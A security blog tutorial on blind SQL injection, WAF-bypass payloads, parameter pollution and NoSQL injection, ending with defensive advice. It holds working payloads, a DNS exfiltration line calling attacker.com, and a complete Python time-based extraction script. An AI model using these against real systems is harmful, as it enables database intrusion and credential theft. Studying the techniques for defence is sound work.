Back to Blog
Cloud IAM Security

Advanced SQL Injection Techniques: Bypassing Modern WAFs

OffSec Research Team
10 June 2026 • 09:00 AM18 min
Advanced SQL Injection Techniques: Bypassing Modern WAFs
TL;DR — SQL injection didn't die; it went blind and learned to dodge Web Application Firewalls. This article assumes you know the basics (' OR 1=1--) and moves to the advanced layer: extracting data when there's no visible output (boolean-blind, time-blind, out-of-band), and — the focus — defeating WAFs through the gap between what the firewall parses and what the database parses. We cover encoding and comment-based evasion, whitespace and keyword obfuscation, the all-important parser differential that underlies every reliable bypass, and why the only real fix is parameterised queries, not a WAF.

Executive Summary

A Web Application Firewall inspects requests and blocks those matching attack signatures — including SQL injection payloads. WAFs are useful defence-in-depth, but they share a fundamental weakness with every signature-based control: the WAF and the database do not parse SQL the same way. The WAF applies pattern matching and a simplified model of SQL; the database applies its real, quirky, version-specific grammar. Anywhere those two models disagree, an attacker can craft input that looks benign to the WAF but executes as an injection in the database. Every durable WAF bypass is, at heart, the exploitation of this parser differential.

The second theme is blindness. Modern applications rarely echo SQL errors or raw query results, so the classic "read the data off the screen" injection is uncommon. Advanced SQLi therefore relies on inference — extracting data one bit at a time through boolean conditions, response timing, or out-of-band channels — techniques that work even when the application returns nothing but a generic page.

The conclusion, stated up front because it is the only one that matters: WAFs and clever evasion are a perpetual arms race, but parameterised queries (prepared statements) make injection structurally impossible regardless of input. A WAF buys time; parameterisation ends the game.

Blind SQLi: Extracting Data Without Output

When the app shows no query results and no errors, you infer data from observable side effects.

diagram — rendering…
flowchart TD
    A["Injection point, no visible output"] --> B{"Does the response<br/>change with a TRUE/FALSE<br/>injected condition?"}
    B -->|Yes| C["Boolean-based blind:<br/>infer data bit-by-bit from<br/>page differences"]
    B -->|No, page identical| D{"Can you cause a<br/>measurable DELAY?"}
    D -->|Yes| E["Time-based blind:<br/>SLEEP/WAITFOR gated on a<br/>condition → infer from timing"]
    D -->|No| F["Out-of-band:<br/>make the DB do DNS/HTTP<br/>carrying the data"]
    style C fill:#2a0c14,stroke:#ef233c,color:#fee2e2
    style E fill:#2a0c14,stroke:#ef233c,color:#fee2e2
    style F fill:#2a0c14,stroke:#ef233c,color:#fee2e2

Boolean-based blind — the page renders differently for true vs. false conditions (e.g. "results found" vs. "no results"). You ask yes/no questions about the data:

sql
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'---- true → normal page; false → empty page. Binary-search each character.

Time-based blind — no content difference at all, but you can make the DB pause conditionally and read the answer off the response time:

sql
'; IF (SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a')   WAITFOR DELAY '0:0:5'--           -- MSSQL' AND IF(ASCII(SUBSTR(database(),1,1))>77, SLEEP(5), 0)--   -- MySQL' AND (SELECT pg_sleep(5) WHERE ...)::text IS NOT NULL--     -- PostgreSQL

A 5-second delay means "true." Slow but universal — works against the most locked-down apps.

Out-of-band (OOB) — make the database itself emit a network request (DNS/HTTP) carrying the stolen data, useful when timing is unreliable:

sql
-- MSSQL: DNS exfil via xp_dirtree / UNC path'; EXEC master..xp_dirtree '\\'+(SELECT TOP 1 password FROM users)+'.attacker.com\x'---- Oracle: UTL_HTTP / extractvalue + DNS-- MySQL (Windows): LOAD_FILE('\\\\data.attacker.com\\x')

The data shows up in your DNS logs — fast, single-shot exfiltration that also doubles as a stealthy confirmation channel.

sqlmap automates all three (--technique=BEUSTQ), but understanding the inference logic is what lets you tune payloads past a WAF that blocks sqlmap's defaults.

The Core Idea Behind Every WAF Bypass: Parser Differential

diagram — rendering…
flowchart LR
    A["Attacker payload"] --> B["WAF parses it<br/>(simplified SQL model + regex)"]
    A --> C["Database parses it<br/>(real, version-specific grammar)"]
    B -->|"looks benign → allowed"| D["Request forwarded"]
    C -->|"executes as injection"| E["Compromise"]
    D --> C
    style E fill:#2a0c14,stroke:#ef233c,color:#fee2e2

The WAF must decide quickly whether bytes constitute a SQL attack, using regexes and a generic model. The database parses the same bytes with its full, idiosyncratic grammar — different comment syntaxes, whitespace rules, string concatenation, case folding, encoding handling, and vendor-specific functions. Bypass techniques all manufacture a disagreement: render the payload unrecognisable to the WAF's model while keeping it valid for the DB's. Below are the families, each an instance of this principle.

Technique 1 — Comment Injection

SQL comments can sit inside statements, breaking up keywords the WAF matches as whole tokens:

sql
SEL/**/ECT          -- inline comment splits the keywordUNI/**/ON SEL/**/ECT/*!50000UNION*/      -- MySQL "version comment": executes if version >= 5.0,                     -- but a WAF may treat /*...*/ as an inert comment1/**/AND/**/1=1

The MySQL version comment (/*!...*/) is a classic differential: MySQL executes the contents if the version condition holds, while a naive WAF strips it as a comment. The WAF sees nothing; the DB runs UNION.

Technique 2 — Whitespace and Delimiter Substitution

WAFs often key on keyword<space>keyword. SQL accepts many characters as token separators, and parentheses can remove the need for whitespace entirely:

sql
SELECT/**/x        -- comment as separatorSELECT(x)FROM(t)   -- parentheses: no spaces at allUNION%0aSELECT     -- newline (\n)UNION%09SELECT     -- tab; also %0b %0c %0d %a0 in some DBs'%0bOR%0b1=1       -- vertical tab between tokens

If the WAF's regex expects a literal space between UNION and SELECT, swapping in a tab, newline, comment, or parenthesis defeats it while the DB tokenises happily.

Technique 3 — Encoding and Character Tricks

Make the payload unreadable to the WAF's matcher, but decode it at a layer before (or inside) the DB:

sql
-- URL / double-URL encoding (WAF decodes once, app/DB decodes again)%2553ELECT  →  %53ELECT  →  SELECT -- Hex / char() to avoid quoted strings the WAF flagsSELECT 0x61646d696e               -- hex literal for 'admin' (MySQL)WHERE name = CHAR(97,100,109,105,110)  -- build 'admin' without quotes -- Unicode / overlong / homoglyph normalisation differences-- Case variation if the WAF's regex is case-sensitive: SeLeCt, uNiOn

Hex and CHAR() are especially powerful because they remove the quote characters and literal keywords WAFs love to flag, smuggling string values past signatures.

Technique 4 — Keyword Obfuscation and Logical Equivalents

Rewrite the attack so no blocked keyword/operator appears literally:

sql
-- avoid 'OR 1=1' if 'OR' or '1=1' is signatured' || '1'='1                 -- || as OR (Oracle/Postgres)' OR 'a'='a                 -- different literals' OR 2>1--                  -- different comparison' OR/**/1=1                 -- comment-split' RLIKE (SELECT ...)        -- alternate operators-- nested/duplicated keywords that collapse after WAF stripping:UNUNIONION SELSELECTECT     -- if the WAF removes one "UNION"/"SELECT", the                            -- remaining halves rejoin into a valid keyword

The "stripping" trick (UNUNIONION) weaponises a sanitising WAF: if it tries to be clever and removes the blocked word once, the surrounding letters merge back into the keyword. This is parser differential turned against the WAF's own remediation logic.

Technique 5 — Scientific Notation, Concatenation, and Vendor Quirks

sql
-- MySQL: scientific notation breaks naive numeric checks1.e(  ... )  ;  SELECT 1e0UNION...   -- 1e0 abuts UNION, no space-- string concatenation differs per DB (defeats generic signatures)'a'+'dmin'    -- MSSQL        || Oracle/Postgres: 'a'||'dmin'CONCAT('a','dmin')            -- MySQL-- comments to terminate: -- , #, /* */ , ;%00

Vendor-specific syntax is a goldmine because a generic WAF can't model every database's grammar — if you've fingerprinted the backend (via error behaviour or @@version/version() probes), you can pick syntax the WAF doesn't expect.

Putting It Together: A Layered Bypass

Real bypasses stack the techniques against the differential:

sql
-- Goal: blind UNION-ish probe past a WAF blocking--   spaces, the word UNION, and quotes0/**/uni/**/on/**/sel/**/ect/**/0x61,0x62-- --- comment-split keywords (Technique 1+4), hex literals to drop quotes-- (Technique 3), comments as separators (Technique 2)
text
WAF BYPASS WORKFLOW1. Fingerprint the DB (errors, version functions, syntax behaviour)2. Identify what the WAF blocks (fuzz keywords/operators/chars one at a time)3. Pick the parser-differential family that defeats those specific rules4. Stack: encoding + comments + whitespace subs + vendor syntax5. Use blind inference (boolean/time/OOB) since output is usually hidden6. Automate with sqlmap + tamper scripts once the manual bypass works

sqlmap's tamper scripts (--tamper=space2comment,charencode,between,...) encapsulate exactly these transformations; the skill is choosing the right ones for the WAF in front of you, which requires understanding why each works.

Why WAFs Can't Win This Fight

A WAF is a signature/heuristic layer guessing at SQL semantics from the outside. The database has the authoritative, complete, version-specific grammar. As long as those two differ — and they always will, because reimplementing every DB's exact parser in a fast inline filter is infeasible — there exists a payload the WAF passes and the DB executes. WAF vendors patch known bypasses; researchers find new differentials; repeat. A WAF raises the cost and catches the unskilled and the automated, which is real value. But it is not a fix for SQL injection, and treating it as one is how breaches happen.

Defence: Make Injection Structurally Impossible

diagram — rendering…
flowchart TD
    A["Untrusted input"] --> B["PARAMETERISED QUERY<br/>(prepared statement)"]
    B --> C["DB receives query STRUCTURE<br/>and DATA separately"]
    C --> D["Input can NEVER change the<br/>query's parse tree → no injection"]
    A -.->|"WAF: defense-in-depth only"| E["Catches known patterns,<br/>bypassable via parser differential"]
    style D fill:#0c2a22,stroke:#21d48e,color:#d1fae5
  • Parameterised queries / prepared statements — the actual fix. The query structure is sent to the database separately from the data; user input is bound as a value and can never be parsed as SQL syntax. No amount of quotes, comments, or encoding changes the parse tree. This eliminates injection regardless of WAF.
python
   # SAFE — input is data, not code, no matter what it contains   cur.execute("SELECT * FROM users WHERE name = %s AND active = %s", (name, True))   
  • Use ORMs / query builders correctly — they parameterise by default; just never drop back to string-concatenated raw SQL with user input.
  • Least-privilege DB accounts. The app's DB user should not be able to read other schemas, run xp_cmdshell, access the filesystem, or make network calls — so even a successful injection is contained (no OOB exfil, no RCE).
  • Allow-list input validation for structure that must be dynamic (column/table names, ORDER BY direction) which can't be parameterised — validate against a fixed set rather than interpolating.
  • Disable verbose errors and dangerous features (xp_dirtree, LOAD_FILE, OUTFILE, network functions) to blunt blind/OOB techniques.
  • Keep the WAF — as defence in depth, not the control. It stops noise, slows attackers, and buys patch time, but the codebase must be injection-proof on its own. Pair it with monitoring for blind-SQLi patterns (long response times, DNS callbacks, sequential boolean probes).

Second-Order SQL Injection: Why WAFs Miss It

All the bypass techniques above assume the injection happens in the same request that reaches the database. Second-order (or stored) SQL injection breaks that assumption entirely — the payload is stored in the database in one request and executed in a different query context, often many requests later.

How It Works

A user registers with the username admin'--. The registration endpoint properly parameterises the INSERT, so no injection fires at write time. The database now holds the string admin'-- verbatim. Later, an admin management page builds a query by string-concatenating from the stored value:

sql
-- Registration (safe — parameterised):INSERT INTO users (username) VALUES (?)   -- 'admin''--' stored safely -- Later admin page (UNSAFE — interpolates from DB):SELECT * FROM users WHERE username = '  + stored_username + '-- Becomes: SELECT * FROM users WHERE username = 'admin'--'-- The '--' comments out the rest → injection executes

Why WAFs Miss Second-Order Injection

The WAF inspects the incoming HTTP request for SQLi patterns. During registration, the request body is username=admin'-- — this will typically trigger a WAF. The attacker's countermeasure: encode or mutate the stored payload just enough to slip past the WAF at write time, knowing the database will interpret it correctly when it is later read back and re-interpolated.

text
Write request (WAF inspects):   username=admin%27--     → WAF may see URL-encoded quoteDatabase stores:                admin'--                → decoded and stored as-isRead-back and interpolation:    SELECT ... WHERE username = 'admin'--'  → FIRES

Furthermore, the query that uses the stored value may exist in a completely different application component — a batch report, an admin panel, a background job — that the WAF never sees at all (server-to-server query, internal API, or cron job). Second-order injection is nearly invisible to a WAF because the injection and execution are temporally and spatially separated.

Real-world examples include ticketing systems where a ticket title containing SQL is later inserted into a report generation query, and profile-update endpoints where display names are stored then interpolated into email-generation queries. The fix is identical to first-order: every query that uses data from the database must also use parameterised queries, not just the initial write endpoint.

Time-Based Blind SQLi Automation: Custom Binary-Search Extraction

sqlmap with --technique=T performs time-based extraction but uses conservative, linear character probing by default. A custom script using binary search over the ASCII range extracts each character in ⌈log₂(128)⌉ = 7 requests instead of up to 127, which can be 5-10× faster on targets with noticeable per-request overhead.

python
#!/usr/bin/env python3"""Binary-search time-based blind SQLi extractor.Target: MySQL endpoint with SLEEP()-based injection in a POST parameter.Usage: python3 timebli.py --url https://target/search --param q --query "SELECT password FROM users LIMIT 1"""" import requests, time, argparse, string def inject(url: str, param: str, condition: str, delay: float = 4.0) -> bool:    """Return True if the conditional SLEEP fired (response time >= delay)."""    payload = f"' AND IF(({condition}), SLEEP({delay}), 0)-- -"    start = time.perf_counter()    try:        requests.post(url, data={param: payload}, timeout=delay + 3)    except requests.Timeout:        return True   # timed out → condition was TRUE    return (time.perf_counter() - start) >= delay * 0.85  # 15% tolerance  def extract_char(url: str, param: str, query: str, position: int) -> str:    """Binary-search a single character at 'position' in the query result."""    lo, hi = 32, 126   # printable ASCII range    while lo < hi:        mid = (lo + hi) // 2        # Ask: is ASCII value of char at position <= mid?        cond = f"ASCII(SUBSTRING(({query}),{position},1)) <= {mid}"        if inject(url, param, cond):            hi = mid        else:            lo = mid + 1    return chr(lo) if 32 <= lo <= 126 else '?'  def extract_string(url: str, param: str, query: str, max_len: int = 40) -> str:    result = ""    for i in range(1, max_len + 1):        # First check if we've reached end-of-string (ASCII 0)        if inject(url, param, f"ASCII(SUBSTRING(({query}),{i},1)) = 0"):            break        ch = extract_char(url, param, query, i)        result += ch        print(f"\r[+] Extracting: {result}", end="", flush=True)    print()    return result  if __name__ == "__main__":    ap = argparse.ArgumentParser()    ap.add_argument("--url",   required=True)    ap.add_argument("--param", required=True)    ap.add_argument("--query", default="SELECT database()")    args = ap.parse_args()     print(f"[*] Target: {args.url} | Param: {args.param}")    print(f"[*] Query:  {args.query}")    result = extract_string(args.url, args.param, args.query)    print(f"[+] Result: {result}")

The binary-search approach cuts request count per character from ~64 (linear) to 7. For a 32-character password hash that saves roughly 1800 requests. Against a target with 500ms average response time, linear extraction would take ~15 minutes; binary search completes in under 2 minutes. The script also handles the common edge case of distinguishing a TRUE timeout from a network timeout by applying a percentage tolerance.

HTTP Parameter Pollution for WAF Bypass

HTTP Parameter Pollution (HPP) exploits inconsistency between how a WAF and a backend web framework handle duplicate query/body parameters.

The Technique

Submit the injection parameter twice:

shell
POST /search HTTP/1.1Host: target.example.comContent-Type: application/x-www-form-urlencoded q=safe_value&q=' UNION SELECT password FROM users--

Different systems handle duplicates differently:

ComponentBehaviour with q=safe&q=evil
ModSecurity (WAF)Inspects first value: safe — allows request
PHP $_POST['q']Returns last value: evil — injection fires
Node.js req.body.q (body-parser)Returns last value: evil
ASP.NET Request["q"]Concatenates: safe,evil — partial injection
Tomcat / Java Servlet getParameterReturns first value: safe

The key is the differential: if the WAF is configured to check the first occurrence and the backend uses the last (common in PHP and Node.js), the WAF sees a benign value and allows the request, while the backend processes the injection.

bash
# HPP bypass using curl — duplicate parametercurl -s -X POST "https://target.example.com/search" \  --data "q=laptops&q=' UNION SELECT 1,username,password,4 FROM users--+-" \  -H "Content-Type: application/x-www-form-urlencoded"

HPP can also be applied in the URL query string and is sometimes combined with HTTP request smuggling for more complex WAF evasion scenarios. The defence is to normalise duplicate parameters to a single value before any WAF inspection and before the application processes them.

NoSQL Injection: Syntax Comparison

SQL injection bypasses map to structured relational backends, but document stores and key-value databases have their own injection syntaxes. A WAF tuned purely for SQL keywords offers zero protection against NoSQL injection.

DatabaseInjection VectorVulnerable ExamplePayload
MongoDB$where operatordb.users.find({$where: "this.user == '" + input + "'"})`input = "''1'=='1"` → returns all documents
MongoDB$regex operatordb.users.find({username: {$regex: input}})input = ".*" → matches all; input = "^admin" → leaks if admin exists
MongoDBJSON injection via body parsingPOST /login with {"username": {"$gt": ""}, "password": {"$gt": ""}}Bypasses username/password check entirely — both conditions always true
CouchDBJavaScript view injection/_design/app/_view/byname?key="admin"Mango query injection: {"selector": {"_id": {"$gt": null}}} dumps all docs
RedisCommand injection via RESP protocolEVAL "return redis.call('keys','*')" 0 injected via unsanitised Lua eval endpointFull key enumeration / data dump
ElasticsearchQuery DSL injection{"query": {"query_string": {"query": input}}}input = "* OR _exists_:password" → field existence leak

MongoDB JSON Injection — Exploited Example

When a web app directly deserialises JSON from user input into a MongoDB query object, operators like $gt, $ne, and $regex can be injected:

json
POST /api/login HTTP/1.1Content-Type: application/json {  "username": {"$ne": null},  "password": {"$ne": null}}

MongoDB evaluates {$ne: null} as "not equal to null" — which matches every non-null field. Both conditions pass, and the query returns the first document in the collection, logging the attacker in as that user. This requires no knowledge of any credential and is completely invisible to a WAF filtering for ' OR 1=1--.

The fix: validate that input fields are the expected primitive type (string, not object) before passing them to the query builder. In Node.js/Mongoose: if (typeof username !== 'string') return res.status(400).send();

MITRE ATT&CK Mapping

ATT&CK TechniqueIDRelevance to Advanced SQLi / WAF Bypass
Exploit Public-Facing ApplicationT1190SQL injection against internet-exposed web application database interface
OS Command Injection via SQLT1059xp_cmdshell (MSSQL) or sys_exec (MySQL UDF) convert SQLi into OS code execution
Data from Information RepositoriesT1213Extracting credentials, PII, and sensitive data from the backend database via blind/OOB SQLi
Exfiltration Over Alternative ProtocolT1048Out-of-band SQLi using DNS (xp_dirtree, load_file UNC path) to exfiltrate data via DNS queries
Impair Defenses: Disable or Modify ToolsT1562WAF bypass techniques specifically designed to evade the signature-matching defences
Account ManipulationT1098Using SQLi to modify stored credentials or privilege flags in the users table

Conclusion and Takeaways

Advanced SQL injection is defined by two adaptations to a modern environment: extracting data blindly — through boolean inference, response timing, or out-of-band DNS/HTTP channels when the application shows no output or errors — and evading WAFs by exploiting the parser differential between the firewall's simplified model of SQL and the database's real, vendor-specific grammar. Every reliable bypass, whether it uses inline comments, whitespace substitution, hex/CHAR() encoding, version comments, logical equivalents, or keyword-stripping tricks, is the same idea: make the payload unrecognisable to the WAF while keeping it valid for the database. Master the fingerprinting → rule-discovery → differential-selection → stacking workflow and you can drive data out of even heavily-defended endpoints, automating the proven payload with sqlmap tamper scripts.

But the most important takeaway is for builders, and it is unambiguous: a WAF is a speed bump in a never-ending arms race, not a solution. The disagreement between WAF and database parsers will always leave a gap, and skilled attackers will always find it. The control that actually ends SQL injection is parameterised queries, which send query structure and data to the database separately so user input can never alter the parse tree — no quote, comment, or encoding can change that. Layer on least-privilege database accounts, allow-listed validation for the rare dynamic identifiers, disabled dangerous functions, and a WAF for defence in depth and detection. Do that, and the entire catalogue of blind techniques and WAF bypasses in this article becomes moot — because there is no injection left to evade.